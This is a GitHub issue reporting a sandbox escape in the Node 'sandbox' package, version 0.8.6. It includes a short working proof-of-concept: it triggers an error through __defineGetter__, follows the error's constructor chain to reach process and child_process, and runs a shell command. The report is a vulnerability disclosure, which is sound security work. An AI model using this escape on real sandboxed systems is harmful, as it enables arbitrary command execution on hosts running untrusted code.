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Sandbox Escape Bug #68

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seongil-wi opened this issue Mar 30, 2023 · 0 comments

seongil-wi commented Mar 30, 2023

Sandbox version: 0.8.6
Node version: 18.15.0

var Sandbox = require("sandbox")
var code = `
    try{ 
__defineGetter__("x", );

 } catch(ret){
    ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
}
`

s = new Sandbox()
s.run(code)

Sandbox can be escaped by calling __defineGetter__ or __defineSetter__ function.
Also, we can execute arbitrary shell code using process module.

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